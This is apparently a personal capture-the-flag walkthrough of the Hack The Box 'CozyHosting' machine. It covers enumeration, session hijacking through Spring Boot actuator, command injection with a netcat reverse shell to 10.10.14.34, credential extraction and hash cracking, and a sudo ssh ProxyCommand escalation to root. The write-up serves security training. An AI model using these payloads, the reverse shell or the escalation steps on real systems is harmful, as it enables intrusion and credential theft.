sudo vim /etc/hosts
# map IP to cozyhosting.htb
nmap -T4 -p- -A -Pn -v cozyhosting.htb-
open ports & services:
- 22/tcp - ssh - OpenSSH 8.9p1 Ubuntu 3ubuntu0.3
- 80/tcp - http - nginx 1.18.0
-
the webpage on port 80 is a corporate webpage for a website hosting solution
-
web scan:
gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirb/common.txt -x txt,php,html -t 10 # simple dir scan # checked with other wordlists and extensions but did not help ffuf -c -u "http://cozyhosting.htb" -H "Host: FUZZ.cozyhosting.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 25 -fs 178 -s # subdomain scan # testing with other wordlists also did not help
-
the website has a /login option - which leads to a login form
-
gobustershows an /admin endpoint as well, but it redirects to /login -
attempting default or weak creds like 'admin:admin' does not work - so we can try bruteforcing using
hydra:# intercept request in Burp Suite # or use Developer tools to get POST request format hydra -l admin -P /usr/share/wordlists/rockyou.txt -f cozyhosting.htb http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid username or password</p>"
-
the bruteforce attempt does not seem to work, so we can check for injection attacks like SQLi
-
intercept a login request using Burp Suite, save it to a file, and feed it to
sqlmap:sqlmap -r cozy.req --batch --dump # does not give anything -
gobusteralso shows an endpoint '/error' - this leads to a 500 server error page - "Whitelabel Error Page" with the message "This application has no explicit mapping for /error, so you are seeing this as a fallback.", and also includes an error "There was an unexpected error (type=None, status=999)" -
Googling for this error message shows that it is displayed by Spring Boot webapps
-
gobusterdid not show any pages with the standard wordlists and extensions, so we can attempt to fuzz with specific wordlists -
in this case, as it is a Spring Boot webapp, we can try to use wordlists related to Spring Boot:
# we can find wordlists by Googling or locally ls -la /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific # we have a Spring Boot wordlist gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -x txt,php,html -t 10
-
this works and we get a lot of
/actuator/*endpoints:- /actuator
- /actuator/sessions
- /actuator/beans
- /actuator/health/{path}
- /actuator/health
- /actuator/env
- /actuator/env/{toMatch}
- /actuator/mappings
-
checking the /actuator page, it lists the above endpoints, and shows that they are locally hosted on port 8080 (but we cannot connect to port 8080)
-
Google shows that in Spring Boot framework, actuators expose operational data about the web app and it is used to monitor & manage the apps
-
navigating to /actuator/sessions - which fetches user sessions - gives us the username 'kanderson', and the session IDs
-
the /actuator/beans endpoint shows a lot of data - it is supposed to list all Spring 'beans' configured in the app - we can check for any sensitive info but nothing of interest is found
-
/actuator/health shows info on operational health of webapp; in this case it just says 'UP'
-
/actuator/env shows app environment info - no sensitive info found
-
/actuator/mappings - lists all 'RequestMapping' paths in app, so all endpoints
-
checking all listed endpoints in /actuator/mappings shows a new endpoint '/executessh' which supports POST method
-
the supported parameters are not listed in this JSON document, so we need to check the endpoint further:
curl 'http://cozyhosting.htb/executessh' -X POST # this says 400 Bad Request
-
from the session IDs found in /actuator/sessions earlier, we can use either of the listed session IDs to replace our existing session ID
-
navigate to Developer Tools > Storage > session ID - replace with session ID of 'kanderson'; now if we navigate to /login, we are redirected to /admin
-
/admin page shows the dashboard for 'Cozy Cloud'; it also has a section for 'connection settings', which interacts with the /executessh endpoint
-
there is also a note mentioning the SSH private key would be found in the host's '.ssh/authorised_keys' file
-
now, we can intercept a valid request in Burp Suite for the 'connection settings' form
-
the request shows it is a POST call to /executessh, and takes 2 parameters - 'host' and 'username'
-
if we enter a random hostname, we get an error like 'ssh: Could not resolve hostname host: Temporary failure in name resolution'
-
looking up this error message, we can see that it is an exact copy of the error seen when
sshtries to resolve a hostname and fails - so it is very likely that it is simply usingsshunder the hood -
if we use a value like '127.0.0.1' for 'host', we get the error "host key verification failed"
-
with this context, we can attempt for injection attacks like command injection
-
we can perform fuzzing using command injection wordlists; we need to test for both parameters:
# from Burp Suite, we can copy request as curl command and modify it curl -i 'http://cozyhosting.htb/executessh' -X POST --data-binary 'host=host&username=kanderson' # -i to show response headers
-
while we can use
ffufto automate this by filtering certain statements in the location header using '-fr' (filter regex) flag, we can start by manual attempts in command injection -
we can test with the following operators/characters in Burp Suite (URL-encoded):
- '
- "
- ;
- \n
- &
- |
- &&
- ||
- ``
- $()
-
we can test in the formats 'host=hostFUZZ&username=user' and 'host=host&userFUZZ' (where FUZZ is the operator) to determine which parameter is vulnerable to command injections
-
when the 'username' paramter is injected, we get errors referencing to
/bin/bash(e.g. - unexpected EOF), which means it is the vulnerable parameter - so we can continue our tests on this parameter -
we can now test in the format 'host=host&username=user{FUZZ}{COMMAND}' - and see which payload is able to execute the command
-
we can test with a command such as
ping -c 4 10.10.14.34and listen on our 'tun0' interface for ICMP packets, so that we can check for blind execution as well -
when we send out a URL-encoded request containing spaces, we get an error in the location header saying username cannot contain whitespaces; this means the space character may be blacklisted, and we need to refer alternative characters like tabs (%09) or
${IFS}for the same function -
the following payload formats work:
- host=host&username=user$(ping${IFS}-c${IFS}4${IFS}10.10.14.34)
- host=host&username=user`ping${IFS}-c${IFS}4${IFS}10.10.14.34`
-
we can use either of these formats to get RCE now after setting up a listener
-
in this case, I used the payload
host=host&username=user$(busybox${IFS}nc${IFS}10.10.14.34${IFS}4444${IFS}-e${IFS}bash)and got reverse shell:whoami # app # stabilise reverse shell python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z stty raw -echo; fg # Enter twice pwd # /app ls -la /home # we have a user 'josh', no read access ls -la # we have a file 'cloudhosting-0.0.1.jar'
-
this '.jar' file is associated with the webapp; we can check this further for any secrets
-
transfer the file to attacker:
# on target md5sum cloudhosting-0.0.1.jar # check hash nc -l -p 5555 -q 0 < cloudhosting-0.0.1.jar
# on attacker nc cozyhosting.htb 5555 > cloudhosting-0.0.1.jar md5sum cloudhosting-0.0.1.jar # verify hash
-
we can open the JAR file as a project using
jd-guitool:sudo apt install jd-gui jd-gui # opens the interface -
open the JAR file and enumerate the project structure for any secrets:
- the class file at '/BOOT-INF/classes/htb.cloudhosting/scheduled/FakeUser.class' uses the cleartext password 'MRdEQuv6~6P9' for username 'kanderson'
- the file at '/BOOT-INF/classes/templates/application.properties' includes the DB username 'postgres' and password 'Vg&nvzAQ7XxR'; the file also shows that port 5432 is being used to connect to the DB locally
-
we can attempt to login as 'josh' via SSH using the above 2 passwords, but that does not work
-
as we have the PostgreSQL DB password, we can attempt to connect to the DB:
# in reverse shell psql -h 127.0.0.1 -p 5432 -U postgres # connect to DB using password found earlier \l # list DBs \c cozyhosting # connect to 'cozyhosting' DB \dt # list table schema select * from users; # this gives us hashes \q # quit
-
from the 'users' table, we get hashes for two users - 'kanderson' and 'admin' - we can crack the hash for the latter
-
the hashes are in bcrypt format, so we can use mode 3200 in
hashcat:vim adminhash # paste admin hash hashcat -m 3200 adminhash /usr/share/wordlists/rockyou.txt --force # cracks the hash
-
hashcatgives the cleartext password 'manchesterunited' - we can use this to log into SSH as 'josh':ssh josh@cozyhosting.htb cat user.txt # user flag sudo -l -
sudo -lshows we can run this command -(root) /usr/bin/ssh * -
gtfobins shows the exploit for this:
sudo /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x # this gives root shell cat /root/root.txt # root flag